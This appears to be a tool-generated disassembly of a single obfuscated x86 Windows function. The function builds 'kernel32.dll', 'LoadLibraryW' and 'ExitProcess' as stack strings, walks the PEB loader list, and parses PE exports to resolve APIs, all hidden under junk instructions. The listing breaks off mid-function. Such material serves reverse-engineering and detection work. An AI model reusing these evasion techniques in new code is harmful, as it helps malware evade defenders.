Function at 0x402031
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x718], eax
push ebx
jmp 0x401265
jmp 0x40126d
call 0x40127b
add byte [esi + edi + 0x41], cl
inc eax
cmp eax, 0x833d4249
les eax, [ebx + ebx*2]
push eax
xor eax, 0x20da
jmp 0x40128d
pop eax
push edi
xor edi, 0x5d7a
call 0x4012a3
add byte [ecx + 0x3a], cl
inc ebp
inc eax
dec ebx
dec eax
inc ebp
add esp, 4
xor edi, 0x7dca
xor edi, 0x16d6
pop edi
push eax
push ecx
add esp, 4
jmp 0x4012bf
pop eax
mov byte [ebp - 0xb64], 0x52
mov byte [ebp - 0xb63], 0xb9
mov byte [ebp - 0xb62], 0x10
mov byte [ebp - 0xb61], 0x10
mov byte [ebp - 0xb60], 0x10
mov byte [ebp - 0xb5f], 0x10
mov byte [ebp - 0xb5e], 0x5a
push ebx
add ebx, 0x1728f
sub ebx, 0x6f73
or ebx, 0x600d
pop ebx
push esi
jmp 0x40130c
call 0x40131a
add byte [eax + 0x43], dl
inc ebx
dec ecx
inc eax
dec esp
dec esp
add esp, 4
jmp 0x401322
pop esi
mov byte [ebp - 0xb5c], 0x52
mov byte [ebp - 0xb5b], 0xb9
mov byte [ebp - 0xb5a], 0x20
mov byte [ebp - 0xb59], 0x20
mov byte [ebp - 0xb58], 0x20
mov byte [ebp - 0xb57], 0x20
mov byte [ebp - 0xb56], 0x5a
push eax
push eax
add esp, 4
jmp 0x401362
pop eax
push edi
push ebx
add esp, 4
add edi, 0x3901
pop edi
push edi
jmp 0x401379
xor edi, 0xec39
or edi, 0x15ce
pop edi
mov dword [ebp - 0x1d14], 0xe
push ebx
push esi
add esp, 4
sub ebx, 0x175ea
sub ebx, 0x1460d
pop ebx
push edx
push esi
add esp, 4
sub edx, 0x13395
pop edx
push esi
or esi, 0x8a08
or esi, 0x15ccb
or esi, 0x3bc3
pop esi
mov eax, 1
imul ecx, eax, 0
lea edx, [ebp + ecx - 0xb64]
mov dword [ebp - 0x1500], edx
push ebx
push edi
add esp, 4
add ebx, 0x164a7
add ebx, 0x14249
xor ebx, 0xf2f
jmp 0x4013f4
pop ebx
push edi
jmp 0x4013fc
or edi, 0xe1d7
or edi, 0xc6e8
pop edi
mov dword [ebp - 0x1d3c], 0xffffffff
push esi
push ebx
add esp, 4
xor esi, 0x4985
add esi, 0x109de
and esi, 0x794a
and esi, 0x5955
pop esi
push ebx
add ebx, 0x6ae4
or ebx, 0x3a84
and ebx, 0x17f70
pop ebx
mov eax, dword [ebp - 0x718]
mov dword [ebp - 0x4b8], eax
jmp 0x401462
mov ecx, dword [ebp - 0x4b8]
add ecx, 1
mov dword [ebp - 0x4b8], ecx
push ebx
push edi
add esp, 4
add ebx, 0x32fb
xor ebx, 0x9a7c
jmp 0x40147b
sub ebx, 0x119ae
pop ebx
push edi
push edx
add esp, 4
and edi, 0x63ea
sub edi, 0x11be8
pop edi
mov edx, dword [ebp - 0x4b8]
sub edx, dword [ebp - 0x718]
cmp edx, 0xffffffff
jb 0x4014dc
push esi
add esi, 0x15ae7
add esi, 0x7e10
jmp 0x4014b8
xor esi, 0xfeed
pop esi
push edx
push ecx
add esp, 4
xor edx, 0x6d77
jmp 0x4014d0
or edx, 0x176e7
pop edx
jmp 0x40170a
mov dword [ebp - 0xc18], 7
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0xa68], eax
push edx
push esi
add esp, 4
sub edx, 0xa50c
and edx, 0x4e73
pop edx
push ecx
push edi
add esp, 4
add ecx, 0x961a
pop ecx
push esi
add esi, 0xa23f
pop esi
push ecx
push ecx
add esp, 4
sub ecx, 0x16818
pop ecx
mov ecx, dword [ebp - 0x1500]
mov dword [ebp - 0xa64], ecx
mov dword [ebp - 0xc1c], 0
mov edx, dword [ebp - 0x4b8]
cmp edx, dword [ebp - 0x1500]
jne 0x40158b
push ebx
add ebx, 0xd0a0
and ebx, 0x11610
sub ebx, 0x9e0c
and ebx, 0x1065a
pop ebx
push ebx
push esi
add esp, 4
add ebx, 0x383
pop ebx
push edx
push ecx
add esp, 4
or edx, 0x160b0
pop edx
mov eax, dword [ebp - 0xc1c]
mov dword [ebp - 0x1508], eax
jmp 0x4016bc
cmp dword [ebp - 0xc18], 0
jle 0x4016b0
push ebx
push edi
add esp, 4
sub ebx, 0xd1bd
add ebx, 0x7d3f
pop ebx
push edi
push edi
add esp, 4
or edi, 0xf4d9
or edi, 0x348e
pop edi
push esi
or esi, 0x48b
sub esi, 0x151ec
pop esi
mov ecx, dword [ebp - 0xa68]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xa64]
movzx ecx, byte [eax]
cmp edx, ecx
je 0x40164c
push eax
sub eax, 0xe0a0
xor eax, 0x5257
pop eax
push ebx
push edx
add esp, 4
and ebx, 0xd941
pop ebx
push ebx
push ecx
add esp, 4
add ebx, 0x143fc
xor ebx, 0x13d4c
and ebx, 0x1759e
pop ebx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
jle 0x401634
mov dword [ebp - 0x1504], 1
jmp 0x40163e
mov dword [ebp - 0x1504], 0xffffffff
mov eax, dword [ebp - 0x1504]
mov dword [ebp - 0xc1c], eax
jmp 0x4016b0
push edi
and edi, 0x1cca
and edi, 0x157bd
pop edi
push ebx
push ecx
add esp, 4
or ebx, 0xa9b7
pop ebx
push ecx
push ecx
add esp, 4
sub ecx, 0x848e
sub ecx, 0x16a6
sub ecx, 0x870b
pop ecx
mov ecx, dword [ebp - 0xc18]
sub ecx, 1
mov dword [ebp - 0xc18], ecx
mov edx, dword [ebp - 0xa68]
add edx, 1
mov dword [ebp - 0xa68], edx
mov eax, dword [ebp - 0xa64]
add eax, 1
mov dword [ebp - 0xa64], eax
jmp 0x40158b
mov ecx, dword [ebp - 0xc1c]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x401705
push ebx
or ebx, 0xe8b9
pop ebx
push ebx
push edx
add esp, 4
add ebx, 0x19c4
pop ebx
push esi
push eax
add esp, 4
sub esi, 0x31d9
call 0x4016f3
add byte [ebx], bh
cmp eax, dword [edi + 0x46]
aas
xor al, byte [ebp + 0x4c]
inc edx
add esp, 4
pop esi
mov edx, dword [ebp - 0x4b8]
mov dword [ebp - 0x398], edx
jmp 0x401746
jmp 0x401453
push ebx
push edi
add esp, 4
sub ebx, 0xb5b1
call 0x401721
add byte [ebx], bh
aaa
cmp bh, byte [ebx]
xor dh, byte [edi]
add esp, 4
pop ebx
push ebx
and ebx, 0x693e
pop ebx
push esi
jmp 0x401733
pop esi
push eax
and eax, 0x3564
pop eax
mov dword [ebp - 0x398], 0
push edx
or edx, 0x16d76
and edx, 0x102b
sub edx, 0x168ba
or edx, 0x56ae
pop edx
push esi
jmp 0x401766
jmp 0x40176b
sub esi, 0x1c80
add esi, 0x5012
pop esi
push eax
jmp 0x401782
and eax, 0x1efc
add eax, 0x12c3
pop eax
push edx
push eax
add esp, 4
jmp 0x40179d
pop edx
push ecx
push ebx
add esp, 4
jmp 0x4017a9
pop ecx
mov eax, 1
imul ecx, eax, 0
lea edx, [ebp + ecx - 0xb5c]
mov dword [ebp - 0x150c], edx
push ecx
push ecx
add esp, 4
xor ecx, 0x182ad
xor ecx, 0x3147
pop ecx
push eax
push esi
add esp, 4
add eax, 0x3ec3
pop eax
push esi
add esi, 0x139e5
add esi, 0x1014b
xor esi, 0xa492
pop esi
mov dword [ebp - 0x1d40], 0xffffffff
push esi
call 0x401809
add byte [ebx + 0x35], cl
dec esi
cmp al, 0x32
cmp dword [ebx - 0x7d], ecx
les eax, [ecx + eax*4]
out dx, al
ror byte [edx], 1
add dword [eax], eax
xor esi, 0x1664d
pop esi
push ebx
xor ebx, 0x14a73
xor ebx, 0x13ea2
add ebx, 0x6b15
pop ebx
mov eax, dword [ebp - 0x718]
mov dword [ebp - 0x4bc], eax
jmp 0x40184a
mov ecx, dword [ebp - 0x4bc]
add ecx, 1
mov dword [ebp - 0x4bc], ecx
push eax
push ecx
add esp, 4
and eax, 0x12ce
jmp 0x40185b
and eax, 0x13d12
and eax, 0x9d74
pop eax
push ecx
sub ecx, 0x1b0
and ecx, 0x5615
xor ecx, 0x441c
pop ecx
mov edx, dword [ebp - 0x4bc]
sub edx, dword [ebp - 0x718]
cmp edx, 0xffffffff
jb 0x4018c4
push eax
push ecx
add esp, 4
and eax, 0xc0e7
pop eax
push edx
push edx
add esp, 4
add edx, 0xe869
sub edx, 0x6fe5
add edx, 0x755f
pop edx
push edx
sub edx, 0xe4f7
sub edx, 0x14a34
pop edx
jmp 0x401af2
mov dword [ebp - 0xc20], 7
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0xa60], eax
push edi
xor edi, 0x5a67
add edi, 0x4d7c
pop edi
push ebx
call 0x4018f6
add byte [edi], bh
dec ebp
dec edx
dec edx
push eax
inc edi
add esp, 4
xor ebx, 0x13530
or ebx, 0xb2eb
sub ebx, 0x57ff
pop ebx
mov ecx, dword [ebp - 0x150c]
mov dword [ebp - 0xa58], ecx
mov dword [ebp - 0xc24], 0
mov edx, dword [ebp - 0x4bc]
cmp edx, dword [ebp - 0x150c]
jne 0x401973
push edi
add edi, 0x118a6
or edi, 0xaa11
jmp 0x401944
inc ebx
dec esi
or edi, 0x14b5
or edi, 0x14b5
pop edi
push ebx
call 0x401958
add byte [esi], dh
inc edi
cmp cl, byte [edx + 0x50]
xor eax, 0x8104c483
jecxz 0x401941
xchg ebx, eax
add byte [eax], al
pop ebx
mov eax, dword [ebp - 0xc24]
mov dword [ebp - 0x1514], eax
jmp 0x401aa4
cmp dword [ebp - 0xc20], 0
jle 0x401a98
push esi
push ecx
add esp, 4
and esi, 0x63ef
pop esi
push esi
push eax
add esp, 4
and esi, 0xc31d
pop esi
push eax
or eax, 0xce7
add eax, 0xe578
jmp 0x4019ab
and eax, 0x529e
pop eax
mov ecx, dword [ebp - 0xa60]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xa58]
movzx ecx, byte [eax]
cmp edx, ecx
je 0x401a34
push ecx
push edx
add esp, 4
or ecx, 0xd55
xor ecx, 0xb723
xor ecx, 0x15236
sub ecx, 0x51b
pop ecx
push edx
xor edx, 0xf9b4
and edx, 0x1b7e
xor edx, 0x65de
pop edx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa58]
movzx edx, byte [ecx]
cmp eax, edx
jle 0x401a1c
mov dword [ebp - 0x1510], 1
jmp 0x401a26
mov dword [ebp - 0x1510], 0xffffffff
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0xc24], eax
jmp 0x401a98
push edx
push ebx
add esp, 4
sub edx, 0xcaa7
pop edx
push esi
xor esi, 0xfd35
or esi, 0x17994
pop esi
push ecx
push edi
add esp, 4
and ecx, 0x6b18
pop ecx
push edi
push edx
add esp, 4
and edi, 0x4e40
pop edi
mov ecx, dword [ebp - 0xc20]
sub ecx, 1
mov dword [ebp - 0xc20], ecx
mov edx, dword [ebp - 0xa60]
add edx, 1
mov dword [ebp - 0xa60], edx
mov eax, dword [ebp - 0xa58]
add eax, 1
mov dword [ebp - 0xa58], eax
jmp 0x401973
mov ecx, dword [ebp - 0xc24]
mov dword [ebp - 0x1514], ecx
cmp dword [ebp - 0x1514], 0
jne 0x401aed
push ebx
push ebx
add esp, 4
or ebx, 0x343
jmp 0x401abe
pop ebx
push edx
call 0x401acf
add byte [edi + 0x47], cl
push eax
inc ebx
xor dh, byte ss:[esi]
aaa
inc edi
add esp, 4
add edx, 0xb545
or edx, 0x17ccd
pop edx
mov edx, dword [ebp - 0x4bc]
mov dword [ebp - 0xa54], edx
jmp 0x401b2e
jmp 0x40183b
push edi
and edi, 0x6f98
sub edi, 0xf79a
xor edi, 0xcf30
pop edi
push edx
jmp 0x401b0c
pop edx
push ebx
push ecx
add esp, 4
jmp 0x401b1b
pop ebx
push eax
xor eax, 0x16245
pop eax
mov dword [ebp - 0xa54], 0
push ecx
push ebx
add esp, 4
or ecx, 0xecf6
pop ecx
push ebx
push ecx
add esp, 4
and ebx, 0x115ce
pop ebx
push ebx
or ebx, 0x66db
and ebx, 0x773
or ebx, 0xc193
or ebx, 0x13531
pop ebx
mov byte [ebp - 0x824], 0x45
mov byte [ebp - 0x823], 0x78
mov byte [ebp - 0x822], 0x69
mov byte [ebp - 0x821], 0x74
mov byte [ebp - 0x820], 0x50
mov byte [ebp - 0x81f], 0x72
mov byte [ebp - 0x81e], 0x6f
mov byte [ebp - 0x81d], 0x63
mov byte [ebp - 0x81c], 0x65
mov byte [ebp - 0x81b], 0x73
mov byte [ebp - 0x81a], 0x73
mov byte [ebp - 0x819], 0
push ecx
add ecx, 0x4e2e
sub ecx, 0x14f00
pop ecx
push edi
push eax
add esp, 4
sub edi, 0xa56
pop edi
push eax
push eax
add esp, 4
xor eax, 0x31ec
and eax, 0x13144
xor eax, 0x1582f
pop eax
mov eax, 0x6b
mov word [ebp - 0x15e8], ax
mov ecx, 0x65
mov word [ebp - 0x15e6], cx
mov edx, 0x72
mov word [ebp - 0x15e4], dx
mov eax, 0x6e
mov word [ebp - 0x15e2], ax
mov ecx, 0x65
mov word [ebp - 0x15e0], cx
mov edx, 0x6c
mov word [ebp - 0x15de], dx
mov eax, 0x33
mov word [ebp - 0x15dc], ax
mov ecx, 0x32
mov word [ebp - 0x15da], cx
mov edx, 0x2e
mov word [ebp - 0x15d8], dx
mov eax, 0x64
mov word [ebp - 0x15d6], ax
mov ecx, 0x6c
mov word [ebp - 0x15d4], cx
mov edx, 0x6c
mov word [ebp - 0x15d2], dx
xor eax, eax
mov word [ebp - 0x15d0], ax
push edx
and edx, 0x15650
or edx, 0x1348
xor edx, 0x6e3a
pop edx
push esi
and esi, 0xf825
jmp 0x401ca2
add esi, 0x11420
pop esi
push edi
xor edi, 0xae5e
pop edi
push ecx
push eax
add esp, 4
and ecx, 0x13ef8
call 0x401cca
add byte [eax + 0x3d], dl
xor dh, byte [esi]
inc ecx
inc eax
dec esi
dec esi
add esp, 4
call 0x401cd9
add byte [edx + 0x4f], cl
dec esi
cmp eax, 0xc4834440
add al, 0x81
leave
wait
and dword [eax], eax
add byte [ecx + 0x64], bl
mov ecx, dword [0x18]
mov dword [ebp - 0x1bec], ecx
mov edx, dword [ebp - 0x1bec]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1bf0], eax
mov ecx, dword [ebp - 0x1bf0]
mov dword [ebp - 0x1518], ecx
push eax
sub eax, 0xb832
sub eax, 0x1625
sub eax, 0xd3d3
xor eax, 0x142ba
pop eax
push ecx
push ecx
add esp, 4
or ecx, 0xdc76
add ecx, 0x378a
xor ecx, 0x18506
pop ecx
cmp dword [ebp - 0x1518], 0
jne 0x401d55
mov dword [ebp - 0x29c], 0
jmp 0x402011
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc30], ecx
push edx
or edx, 0xc9a4
call 0x401d7e
add byte [ebx + eax*2 + 0x3d], al
aas
dec ebp
inc edx
aas
aas
xor dh, byte [edi]
add esp, 4
pop edx
push eax
push esi
add esp, 4
or eax, 0xb9e5
jmp 0x401d92
sub eax, 0xfa27
pop eax
cmp dword [ebp - 0xc30], 0
jne 0x401db1
mov dword [ebp - 0x29c], 0
jmp 0x402011
mov edx, dword [ebp - 0xc30]
mov dword [ebp - 0x4c0], edx
push ebx
xor ebx, 0x14945
sub ebx, 0x6bbb
or ebx, 0x574f
xor ebx, 0xd926
pop ebx
push edi
push ecx
add esp, 4
or edi, 0xf9c5
sub edi, 0x7daa
and edi, 0x3f2
pop edi
lea eax, [ebp - 0x15e8]
mov dword [ebp - 0xc2c], eax
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc28], edx
xor eax, eax
mov word [ebp - 0x1ac], ax
xor ecx, ecx
mov word [ebp - 0x100], cx
push edx
push esi
add esp, 4
call 0x401e2f
add byte [esi + 0x40], cl
push eax
dec ebx
dec esi
inc edi
cmp eax, 0x4c48346
sub edx, 0xd73d
jmp 0x401e3d
pop edx
push esi
jmp 0x401e47
add esi, 0x65c6
pop esi
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xfce], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xfce]
mov word [ebp - 0x1ac], dx
mov eax, dword [ebp - 0xc2c]
mov cx, word [eax]
mov word [ebp - 0xfd0], cx
mov edx, dword [ebp - 0xc2c]
add edx, 2
mov dword [ebp - 0xc2c], edx
mov ax, word [ebp - 0xfd0]
mov word [ebp - 0x100], ax
push ebx
and ebx, 0x6095
pop ebx
push ecx
xor ecx, 0x2eb9
pop ecx
push esi
push edi
add esp, 4
add esi, 0x10f61
sub esi, 0x100e
call 0x401ed6
add byte [ebx + 0x44], al
inc ebx
xor eax, 0x83374948
les eax, [esi + ebx*2]
movzx ecx, word [ebp - 0x100]
test ecx, ecx
jne 0x401efd
movzx edx, word [ebp - 0x1ac]
movzx eax, word [ebp - 0x100]
sub edx, eax
mov dword [ebp - 0x1524], edx
jmp 0x401f60
movzx ecx, word [ebp - 0x1ac]
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x401e1c
movzx eax, word [ebp - 0x1ac]
xor eax, 0x20
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
je 0x401e1c
movzx edx, word [ebp - 0x1ac]
movzx eax, word [ebp - 0x100]
cmp edx, eax
jge 0x401f4a
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x401f54
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1524], ecx
cmp dword [ebp - 0x1524], 0
jne 0x401fa9
push eax
call 0x401f78
add byte [ecx + 0x40], cl
dec ecx
xor al, 0x38
push eax
inc edx
inc edi
add esp, 4
or eax, 0xf443
xor eax, 0x1209c
jmp 0x401f8f
pop eax
push ecx
jmp 0x401f9a
pop ecx
mov edx, dword [ebp - 0x4c0]
mov dword [ebp - 0x29c], edx
jmp 0x402011
push edx
and edx, 0xa550
or edx, 0xe0c5
call 0x401fc5
add byte [esi], bh
aaa
cmp dword ds:[eax + 0x49], edx
inc edx
aas
cmp eax, dword [ebx - 0x357efb3c]
sub byte [ecx], bl
add byte [edx + 0x51], bl
push ecx
add esp, 4
and ecx, 0x1769c
pop ecx
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [eax]
mov dword [ebp - 0x4c0], ecx
mov edx, dword [ebp - 0x4c0]
cmp edx, dword [ebp - 0xc30]
je 0x402007
mov eax, dword [ebp - 0x4c0]
cmp dword [eax + 0x30], 0
jne 0x401dbd
mov dword [ebp - 0x29c], 0
push eax
xor eax, 0x17315
pop eax
push ecx
push edi
add esp, 4
xor ecx, 0xc6cc
call 0x402031
add byte [edi + 0x4f], cl
aaa
inc ebx
xor al, 0x83
les eax, [ebx + ebp*8]
push es
dec eax
aaa
dec esp
inc ebx
push eax
cmp al, byte [ecx + 0x113c4e9]
add byte [ecx - 0x7d], bl
mov ebp, 0xfffffd64
add byte [edi], cl
test eax, edi
or byte [eax], al
add byte [ecx + 0x6b], bh
mov word [ebp - 0x1654], cx
mov edx, 0x65
mov word [ebp - 0x1652], dx
mov eax, 0x72
mov word [ebp - 0x1650], ax
mov ecx, 0x6e
mov word [ebp - 0x164e], cx
mov edx, 0x65
mov word [ebp - 0x164c], dx
mov eax, 0x6c
mov word [ebp - 0x164a], ax
mov ecx, 0x33
mov word [ebp - 0x1648], cx
mov edx, 0x32
mov word [ebp - 0x1646], dx
mov eax, 0x2e
mov word [ebp - 0x1644], ax
mov ecx, 0x64
mov word [ebp - 0x1642], cx
mov edx, 0x6c
mov word [ebp - 0x1640], dx
mov eax, 0x6c
mov word [ebp - 0x163e], ax
xor ecx, ecx
mov word [ebp - 0x163c], cx
push edi
push eax
add esp, 4
add edi, 0x17639
add edi, 0x14d8d
or edi, 0xda8d
xor edi, 0x11249
pop edi
push ebx
push eax
add esp, 4
jmp 0x402114
xor ebx, 0x1076f
pop ebx
mov byte [ebp - 0x840], 0x4c
mov byte [ebp - 0x83f], 0x6f
mov byte [ebp - 0x83e], 0x61
mov byte [ebp - 0x83d], 0x64
mov byte [ebp - 0x83c], 0x4c
mov byte [ebp - 0x83b], 0x69
mov byte [ebp - 0x83a], 0x62
mov byte [ebp - 0x839], 0x72
mov byte [ebp - 0x838], 0x61
mov byte [ebp - 0x837], 0x72
mov byte [ebp - 0x836], 0x79
mov byte [ebp - 0x835], 0x57
mov byte [ebp - 0x834], 0
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1a3c], edx
mov eax, dword [ebp - 0x1a3c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1bf4], ecx
mov edx, dword [ebp - 0x1bf4]
mov dword [ebp - 0x1528], edx
push edx
or edx, 0x3d1b
sub edx, 0x6b8a
pop edx
push esi
sub esi, 0x5d36
call 0x4021c0
add byte [esi + 0x3d], al
cmp eax, dword [ebp + 0x4c]
dec esi
push eax
add esp, 4
xor esi, 0x49a1
or esi, 0x5ba8
pop esi
cmp dword [ebp - 0x1528], 0
jne 0x4021e8
mov dword [ebp - 0x71c], 0
jmp 0x40248f
mov eax, dword [ebp - 0x1528]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc3c], edx
push edi
push esi
add esp, 4
or edi, 0x6d78
pop edi
push esi
push ecx
add esp, 4
jmp 0x402213
and esi, 0xb169
add esi, 0x17840
pop esi
push eax
push ebx
add esp, 4
and eax, 0x694f
pop eax
cmp dword [ebp - 0xc3c], 0
jne 0x402244
mov dword [ebp - 0x71c], 0
jmp 0x40248f
mov eax, dword [ebp - 0xc3c]
mov dword [ebp - 0x4c4], eax
push esi
and esi, 0x13fd5
and esi, 0x17cdf
sub esi, 0x4dee
pop esi
push edx
and edx, 0xa235
pop edx
push edi
push ecx
add esp, 4
jmp 0x402279
jmp 0x402281
pop edi
lea ecx, [ebp - 0x1654]
mov dword [ebp - 0xc38], ecx
mov edx, dword [ebp - 0x4c4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc34], eax
xor ecx, ecx
mov word [ebp - 0x1b0], cx
xor edx, edx
mov word [ebp - 0x24], dx
push edi
xor edi, 0x2bd3
and edi, 0xaf1a
call 0x4022c6
add byte [eax + 0x32], dl
push eax
inc ecx
dec ecx
dec edi
dec ebx
add esp, 4
add edi, 0x108dc
pop edi
push eax
and eax, 0x1602d
xor eax, 0x144a6
pop eax
mov eax, dword [ebp - 0xc34]
mov cx, word [eax]
mov word [ebp - 0xfd2], cx
mov edx, dword [ebp - 0xc34]
add edx, 2
mov dword [ebp - 0xc34], edx
mov ax, word [ebp - 0xfd2]
mov word [ebp - 0x1b0], ax
mov ecx, dword [ebp - 0xc38]
mov dx, word [ecx]
mov word [ebp - 0xfd4], dx
mov eax, dword [ebp - 0xc38]
add eax, 2
mov dword [ebp - 0xc38], eax
mov cx, word [ebp - 0xfd4]
mov word [ebp - 0x24], cx
push eax
and eax, 0x103d7
add eax, 0xf082
call 0x402351
add byte [ebx + 0x3e], al
cmp eax, 0x503a4f33
cmp byte [ecx], bh
add esp, 4
pop eax
push ecx
push ebx
add esp, 4
add ecx, 0xe7b4
and ecx, 0xde5c
pop ecx
movzx edx, word [ebp - 0x24]
test edx, edx
jne 0x402384
movzx eax, word [ebp - 0x1b0]
movzx ecx, word [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x1530], eax
jmp 0x4023de
movzx edx, word [ebp - 0x1b0]
movzx eax, word [ebp - 0x24]
cmp edx, eax
je 0x4022ac
movzx ecx, word [ebp - 0x1b0]
xor ecx, 0x20
movzx edx, word [ebp - 0x24]
cmp ecx, edx
je 0x4022ac
movzx eax, word [ebp - 0x1b0]
movzx ecx, word [ebp - 0x24]
cmp eax, ecx
jge 0x4023c8
mov dword [ebp - 0x152c], 0xffffffff
jmp 0x4023d2
mov dword [ebp - 0x152c], 1
mov edx, dword [ebp - 0x152c]
mov dword [ebp - 0x1530], edx
cmp dword [ebp - 0x1530], 0
jne 0x402427
push esi
add esi, 0xbc34
jmp 0x4023f6
add esi, 0xeff0
pop esi
push edx
and edx, 0x14b1a
and edx, 0x17eb2
xor edx, 0xc576
pop edx
push ebx
xor ebx, 0xd9eb
pop ebx
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x71c], eax
jmp 0x40248f
push ecx
xor ecx, 0x130a2
jmp 0x402435
call 0x402441
add byte [0x3f3c5036], bh
aas
add esp, 4
and ecx, 0x3f66
pop ecx
push eax
xor eax, 0x57fe
add eax, 0x13191
pop eax
mov ecx, dword [ebp - 0x4c4]
mov edx, dword [ecx]
mov dword [ebp - 0x4c4], edx
mov eax, dword [ebp - 0x4c4]
cmp eax, dword [ebp - 0xc3c]
je 0x402485
mov ecx, dword [ebp - 0x4c4]
cmp dword [ecx + 0x30], 0
jne 0x402250
mov dword [ebp - 0x71c], 0
push ecx
call 0x40249f
add byte [ebp + 0x3b], cl
inc ebx
cmp al, 0x42
aas
xor eax, 0xc4834236
add al, 0x81
int1
dec ecx
dec esi
add dword [eax], eax
sub ecx, 0xf7b9
pop ecx
push ebx
push edx
add esp, 4
or ebx, 0x12581
and ebx, 0x4a75
pop ebx
cmp dword [ebp - 0x71c], 0
jne 0x40250b
push edx
jmp 0x4024d3
add edx, 0xf477
jmp 0x4024e1
pop edx
push ebx
push edi
add esp, 4
jmp 0x4024ef
add ebx, 0x120e7
xor ebx, 0x9ee3
pop ebx
mov dword [ebp - 0x768], 0
jmp 0x403033
push edx
call 0x40251b
add byte [0x414a3737], dh
cmp dword [eax + 0x34], eax
cmp al, byte [ebx - 0x1d7efb3c]
push ebp
jns 0x402523
add byte [ecx + 0x17455f2], al
add al, ch
or al, byte [eax]
add byte [eax], al
add byte [ecx + 0x34], al
inc ecx
aaa
dec esi
dec ebx
dec esp
add esp, 4
pop edx
mov edx, dword [ebp - 0x71c]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x72c], 0
mov ecx, dword [ebp - 0x330]
mov dword [ebp - 0x1534], ecx
cmp dword [ebp - 0x1534], 0
jne 0x40257c
mov edx, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], edx
jmp 0x40286d
mov eax, dword [ebp - 0x1534]
mov ecx, dword [ebp - 0x330]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1538], ecx
jne 0x4025a4
mov edx, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], edx
jmp 0x40286d
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x1538]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x153c], eax
cmp dword [ebp - 0x153c], 0
jne 0x4025d6
mov ecx, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], ecx
jmp 0x40286d
mov edx, dword [ebp - 0x330]
add edx, dword [ebp - 0x153c]
mov dword [ebp - 0x720], edx
jne 0x4025fb
mov eax, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], eax
jmp 0x40286d
mov ecx, dword [ebp - 0x720]
mov edx, dword [ebp - 0x330]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x1bf8], edx
mov eax, dword [ebp - 0x720]
mov ecx, dword [ebp - 0x330]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1bfc], ecx
mov edx, dword [ebp - 0x720]
mov eax, dword [ebp - 0x330]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1c00], eax
mov dword [ebp - 0x724], 0
jmp 0x402655
mov ecx, dword [ebp - 0x724]
add ecx, 1
mov dword [ebp - 0x724], ecx
mov edx, dword [ebp - 0x720]
mov eax, dword [ebp - 0x724]
cmp eax, dword [edx + 0x18]
jae 0x402861
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x1bf8]
mov eax, dword [ebp - 0x330]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x1bfc]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x1c00]
mov edx, dword [ebp - 0x330]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x1c04], edx
mov dword [ebp - 0x150], 0
jmp 0x4026c5
mov eax, dword [ebp - 0x150]
add eax, 1
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0x728]
add ecx, dword [ebp - 0x150]
movsx edx, byte [ecx]
test edx, edx
je 0x402777
mov eax, dword [ebp - 0x150]
movsx ecx, byte [ebp + eax - 0x840]
test ecx, ecx
je 0x402777
push ecx
push ecx
add esp, 4
xor ecx, 0x179ae
sub ecx, 0x1449b
sub ecx, 0x11955
jmp 0x40270e
pop ecx
push edi
sub edi, 0x16470
jmp 0x40271d
sub edi, 0x118b4
pop edi
mov edx, dword [ebp - 0x728]
add edx, dword [ebp - 0x150]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x150]
movsx edx, byte [ebp + ecx - 0x840]
cmp eax, edx
je 0x402769
mov eax, dword [ebp - 0x728]
add eax, dword [ebp - 0x150]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x150]
movsx eax, byte [ebp + edx - 0x840]
cmp ecx, eax
jne 0x402770
jmp 0x4026b6
jmp 0x402777
push esi
and esi, 0x15f76
or esi, 0x1fe2
xor esi, 0x5375
